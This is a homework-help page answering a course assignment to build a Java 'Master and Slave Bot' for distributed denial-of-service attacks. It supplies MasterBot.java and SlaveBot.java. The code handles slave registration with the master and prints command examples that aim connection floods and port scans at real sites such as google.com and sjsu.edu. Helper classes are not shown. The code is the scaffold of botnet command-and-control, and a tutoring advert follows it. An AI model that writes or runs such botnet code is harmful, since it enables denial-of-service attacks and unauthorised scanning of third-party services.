Academic Integrity: tutoring, explanations, and feedback — we don’t complete graded work or submit on a student’s behalf.

Build a Master and Slave Bot capable of generating distributed denial of service

ID: 3871483 • Letter: B

Question

Build a Master and Slave Bot capable of generating distributed denial of service attacks on command from the Bot Master.

Programming Language to use: Java 8

This work will be part of a larger semester long project so try to build the software in an extensible manner.

You will write Bot Master (MasterBot.java) and provide the code for the slaves (SlaveBot.java) to be commanded by the Bot Master.

The master, when started, will present a command line interface to the user like that provided by the shell in Unix (i.e. present prompt ‘>’). The following commands are to be supported:

(DO NOT INCLUDE THE HYPEN IN YOUR COMMANFD SYNTAX, ONLY THE COMMAND: i.e. list)

1.-list
Will list all current slaves with the following format:
SlaveHostName IPAddress SourcePortNumber RegistrationDate
USE THE FOLLOWING FORMAT FOR THE DATE: YYYY-MM-DD
Where YYYY is a four digit year, MM is a two digit month, and DD is a two digit day.

2.-connect (IPAddressOrHostNameOfYourSlave|all) (TargetHostName|IPAddress) TargetPortNumber [NumberOfConnections: 1 if not specified]
Establish a number of connections to the target host.

3.-disconnect (IPAddressOrHostNameOfYourSlave|all) (TargetHostName|IPAddress) [TargetPort:all if no port specified]
Close a number of connections to a given host
Any violation of name or formatting specified in this document will result in zero grade.

Your program must run via command line execution.

Master will take the following command line argument:
-p PortNumber
This will be the port where master will listen for incoming connections from Slaves.

Slave will take two arguments:
-h IPAddress|Hostname (of Master -p port where master is listening for connections

What is Master bot and slaves?? and Can I know the flow of the program. i.e. the packages we need to use and a bit more explanation about methods list, connect and disconnect in relation to master bot and slaves?? If am not able to get the flow!!

Explanation / Answer

MasterBot.java


import java.io.IOException;
import java.net.ServerSocket;
import java.util.ArrayList;
import java.util.List;

public class MasterBot {

   static List<HostInfo> slaveList=null; // To maintain list of slaves connected to master.
   static ServerSocket serverSocket =null; // To store the Master ServerSocket object
   static boolean isServerActive=true; // True if server is active else false.
  
  
  
   //start of MasterBot main method
   public static void main(String[] args) {
      
       int errCode=0;
       String firstArg="";
       int portNumber=10000;

      
       /* Test for correct args values -p portNumber
       */
       try {
           if(args.length==2) {
               firstArg = args[0];
               if(firstArg.equals("-p")) {                       
                   portNumber = Integer.parseInt(args[1]);// Throws NumberFormatException if second argument is not a valid number string.                
                }
               else{
                   System.err.println("Exiting... ******* Wrong 1st argument");
                   System.exit(-1);
               }
           }
           else
           {
               System.err.println("Exiting... ******* Correct arguments are: -p portNumber"); // if args[] does not contain 2 arguments.
               System.exit(-1);
           }
       }    
       catch (NumberFormatException e) {
            System.err.println("Exiting... ******* 2nd argument '" + args[1] + "' must be a valid port number.");// If user entered non integer value for second argument.         
            System.exit(errCode++);
        }// End of Try - catch block of checking arguments  
      
      
       // check to see if port number is available
       checkPortNumber(portNumber);

      
       System.out.println("Examples of correct commands: *******************");
       System.out.println("* list");
       System.out.println("* connect 127.0.0.1 www.google.com 80 2 || connect 127.0.0.1 www.google.com 80 || * "
               + "connect 127.0.0.1 www.google.com 80 2 url=https://www.google.com/#q=YowurRandomString || connect 127.0.0.1 www.google.com 80 2 keepalive" );
       System.out.println("* disconnect 127.0.0.1 www.sjsu.edu 80 || disconnect 127.0.0.1 www.sjsu.edu");
       System.out.println("* ipscan localhost 127.0.0.1-127.0.0.5 || ipscan localhost 216.58.216.130-216.58.216.135");
       System.out.println("* tcpportscan all www.google.com 1-100");
       System.out.println("* geoipscan localhost 127.0.0.1-127.0.0.5 || geoipscan all 216.58.216.130-216.58.216.135");
       System.out.println("* exit - This command will stop the server and exit MasterBot. * exit all - This command closes the master server as well as all slave servers *******************");
      
       slaveList = new ArrayList<HostInfo>();
      
      
       SocketServer server = new SocketServer();
       server.runServer(portNumber);

   }// End of MasterBot Main method
  
  
   /*Start of checkPortNumber method.
   *This method will try to create a temporary server socket with the given port.
   *If unable to create a server socket, means the port is unavailable.
   */
   private static void checkPortNumber(int portNumber){
       boolean portTaken = false;
        ServerSocket portTest = null;
      
        try {
           portTest = new ServerSocket(portNumber); // Throw IO exception if port is in use.
        } catch (IOException e) {
            portTaken = true;
          
        } finally {
            if (portTest != null) // close the testPort socket
                try {
                   portTest.close();        
                } catch (IOException e) {
                   System.err.println("******* Unable to close test PortNumber Socket");
                   System.exit(-1);
                      
                }
            if(portTest == null && portTaken)
            {
               System.err.println(" Exiting... ******* Port Number '"+portNumber+"' is in use by another process");
               System.exit(-1);
            }
        }// End of Try-Catch-Finally block
      
    }// End of checkPortNumber method
  


}// End of BasterBot class

SlaveBot.java


import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.List;

public class SlaveBot {

   static List<HostInfo> hostList=null;
   static ServerSocket slaveServer =null;
   static List<HostInfo> hostConnections=null;
   static HostInfo master = new HostInfo();
   static HostInfo thisSlave = new HostInfo();
   public static void main(String[] args) {
      
       int errCode=0;
       String firstArg="";
       String secondArg="";
       String masterIP = "";
       int portNumber=10000;
  
       //Test for correct args values -p portNumber    
       try {
           if(args.length==4) {
              
               firstArg=args[0];
               if(firstArg.equals("-h")){
                   masterIP = args[1];
               }
               else{
                   System.err.println("Exiting... ******* Wrong 1st argument");
                   System.exit(-1);
               }
              
               secondArg = args[2];    
               if(secondArg.equals("-p")) {                       
                   portNumber = Integer.parseInt(args[3]);// Throws NumberFormatException if 4th argument is not a valid number string.                
                }
               else{
                   System.err.println("Exiting... ******* Wrong 3rd argument");  
                   System.exit(-1);
               }
           }
           else
           {
               System.err.println("Exiting... ******* Correct arguments are:-h hostName|IP -p portNumber"); // if args[] does not contain 2 arguments.
               System.exit(-1);
           }
       }    
       catch (NumberFormatException e) {
            System.err.println("Exiting... ******* 2nd argument '" + args[1] + "' must be a valid port number.");// If user entered non integer value for second argument.         
            System.exit(errCode++);
        }
      
      
      
       try{
          
           master.SetIpAddr(InetAddress.getByName(masterIP).getHostAddress());
           master.setHostName(InetAddress.getByName(masterIP).getHostName());
           master.SetPortNumber(portNumber);
          
           //System.out.println(master.Print());
          
           Socket slave = new Socket(InetAddress.getByName(master.GetIpAddr()),master.GetPortNumber()); // create socket to connect to master for the given IP and port number.
           MasterSlaveProtocol slaveMessage=null;
          
           //HostInfo slaveHost=new HostInfo(); // to store slave information to be sent to master.

           thisSlave.SetPortNumber(slave.getLocalPort());
           thisSlave.SetIpAddr(slave.getLocalAddress().getHostAddress());
           //SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
           //Date date = new Date();
           thisSlave.setHostName(slave.getLocalAddress().getHostName()) ;

           //Creating outMessage to send to Master.
           slaveMessage = new MasterSlaveProtocol();          
           slaveMessage.SetMessageType(5); // 5= request for connection
           slaveMessage.SetSlave(thisSlave);
           slaveMessage.SetMessage("CONNREQ");
           slaveMessage.SetHost(null);
            
           //Sending outMessage to Master.
           ObjectOutputStream oos = null;
           oos = new ObjectOutputStream(slave.getOutputStream());
           oos.writeObject(slaveMessage);
       
           //To accept Master's ACK message for the New Slave REQ message sent by slave.
           ObjectInputStream ois = new ObjectInputStream(slave.getInputStream());
           MasterSlaveProtocol inMessage=(MasterSlaveProtocol)ois.readObject();
           System.out.println(inMessage.GetMessage());
          
           int slavePort = slave.getLocalPort();
           slave.close(); // close the slave socket to master
          
           //If successful connection has been setup with the master start the slave server socket thread.
           if(inMessage.GetMessageType()==1){
               Thread t = new Thread(new SlaveRunnable(slavePort,thisSlave.GetIpAddr()));
               t.start();
           }
           else{
               System.out.println("****Exiting slave: Unable to connect to master");
           }
          
       }catch(IOException e){
           e.printStackTrace();
       } catch (ClassNotFoundException e) {
           // TODO Auto-generated catch block
           e.printStackTrace();
       }
      
      

   }

}

Hire Me For All Your Tutoring Needs
Integrity-first tutoring: clear explanations, guidance, and feedback.
Drop an Email at
drjack9650@gmail.com
Chat Now And Get Quote